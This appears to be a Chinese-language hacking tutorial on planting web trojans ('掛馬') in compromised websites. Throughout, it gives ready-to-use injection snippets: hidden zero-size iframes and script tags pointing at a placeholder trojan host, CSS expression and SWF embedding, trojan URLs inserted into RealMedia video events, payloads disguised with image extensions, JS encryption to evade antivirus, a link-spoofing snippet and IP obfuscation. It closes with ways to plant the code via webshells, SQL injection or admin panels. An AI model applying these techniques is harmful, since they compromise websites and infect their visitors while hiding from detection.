1,掛馬的N種方法
(1) HTML掛馬法。
常規的HTML掛馬方法一般是在網頁中插入一條iframe語句,像<iframe src=http://www.xxx.com/horse.html width=0 height=0></iframe>。查看站點是否被掛,一般是查找一下關鍵詞iframe。
(2) 再隱藏一點的就是js掛馬了。
像再原來的網頁中寫入<script str=http://www.xxx.com/horse.js></script>,horse里的js寫法一般為 document.write(’http://www.xxx.com/horse.html’>;,或者專業一點的寫法是 top.document.body.innerHTML = top.document.body.innerHTML + ‘
<inframe src=”http://www.xxx.com/horse.htm/”></iframe>’;。不過第2種寫法要注意:是原來的網頁種要有body標簽。
(3) 在 css中掛馬。
這個方法就是在css中寫入:
body {
hytop:expression='#'" //www.xxx.com/horse.html/”></iframe>’);
}
然后在主頁中調用這個CSS,代碼類似 這樣的。在csdn 中對expression的解釋是:IE5及其以后版本支持在CSS中使用expression,用來吧CSS屬性和Javascript表達式關聯起來,這里的CSS屬性可以是元素固有的屬性,也可以是自定義屬性。也就是說CSS屬性后面可以是一段Javasccript表達式,CSS屬性的值等于 Javascript表達式計算的結果。在表達式中可以是直接一用元素自身的屬性和方法,也可以使用其它瀏覽器對象。這個表達式就好像是在這個元素的一個成員函數中一樣。整個解釋關鍵點是expression可以在css中引入js語句,所以我們可用于掛馬。不過寫的語句值可以遠程調用,本地不可以。
(4) 在swf中掛馬
網上有一些swf掛馬的工具,可以用工具替換原來網頁中的swf或單獨把swf發給對方,一可以單獨作一個可顯示swf頁的網頁。在網頁中插入swf的語法一般格式為:
<OBJECT classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5.0.0.0 WIDTH=760 NAME=quality VALUE=high> <EMBED src=”http://www.7747.net/xxx.swf” quality=high pluginspage=http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash type=application/x-shockwave-flash width=760 height=60></EMBED></OBJECT>
(5) 在影音文件中掛馬
所需工具是RealMedia Editor,打開工具后,然后依次選擇“文件”-“打開Real媒體文件”,然后選擇需要編輯的視頻文件,其格式必須是RealOne公司的以RM或 RMVB為擴展名的文件。接著,新建一個文本,在里面輸入u 00:00:10:0 00:00:30.0&&_rpexternal&&http://www.xxx.com/horse.htm
(00:00:10.0就是發生第一事件的時間,這里是讓計算機彈出網頁;00:00:30.0同樣,這是第二次發生的時間,在0時0分第30秒0微妙時彈出窗口;而后面的URL地址就是連接指定的木馬地址。)
輸入完畢后并保存,然后依次選擇“工具”-“合并事件”,導入剛才的文本。當合并完成后,依次選擇“文本”-“Real文件另存為”,保存好即可。
最后把生成的視頻文件發布網上,當對方觀看同時就會連接到你指定的木馬地址。
2,掛馬的技巧
掛馬首先要求的是隱蔽性,這樣掛的時間才能長。像在SWF、JS、RM中掛馬就是比較隱蔽了,但是還可再用到些技巧。
(1)遠程任意后綴執行HTML
可以把horse.html成horse.jpg之類的后綴,然后語句寫成<iframe src=/uploadfile/200902/20090220105353594.jpg width=0 height=0></iframe>。js也可以,語句為<script src=/uploadfile/200902/20090220105353594.jpg></script>,甚至js的不要后綴名都可以。
(2)JS的加密
為了保護網頁木馬的代碼,可以把JS內容加密,還能躲開殺軟的作用。如果使用ENCODE加密方式,加密后的JS調用語句就用。除此方法外,還有其它更多的方法!
(3)URL的變形
URL的變形方法也有很多,例如將url的16進制轉換為encod編碼等。如果是涉及到URL欺騙的方法就更多了,不過多數的URL欺騙,像利用@的技巧,IE都已經打補丁了。但現在有個漏洞仍然有效,代碼如下:
<a id=”CZY” href=”http://www.baidu.com”></a>
<div>
<a href=”http://www.google.cn” target=”_blank”>
<table>
<caption>
<a href=”http://www.google.cn” target=”_blank”>
<label for=”CZY”>
<u style=”cursor: pointer: color: blue”>
Google</u>
</label></a></caption></table></a></div>
保存該代碼為網頁后,鼠標移動到Google這個鏈接上時,IE狀態欄顯示的是http://www.google.cn,但點擊鏈接后卻打開http: //www.baidu.com網站。如果你的網馬可以用IP地址訪問到的話,IP地址也可以進行轉換的。像127.0.0.1這樣的IP還可以變為 2130706433、0×7f.0×00.0×00.0×01、0177.0000.0000.0001等等,這只不過是8進制、10進制、16進制、的轉換而已。
3,如何才能掛到馬
拿到了webshell的話,掛馬自然是很簡單了。但是拿不到的情況下,如果注入點有update權限,我們可以仔細查找首頁中的某條新聞的調用鏈接,然后update數據庫達到我們的目的。如果可進入后臺,我沒就可以在一些發公告的地方寫入自己的木馬代碼(不過千萬別打亂前臺html源文件里的代碼邏輯)。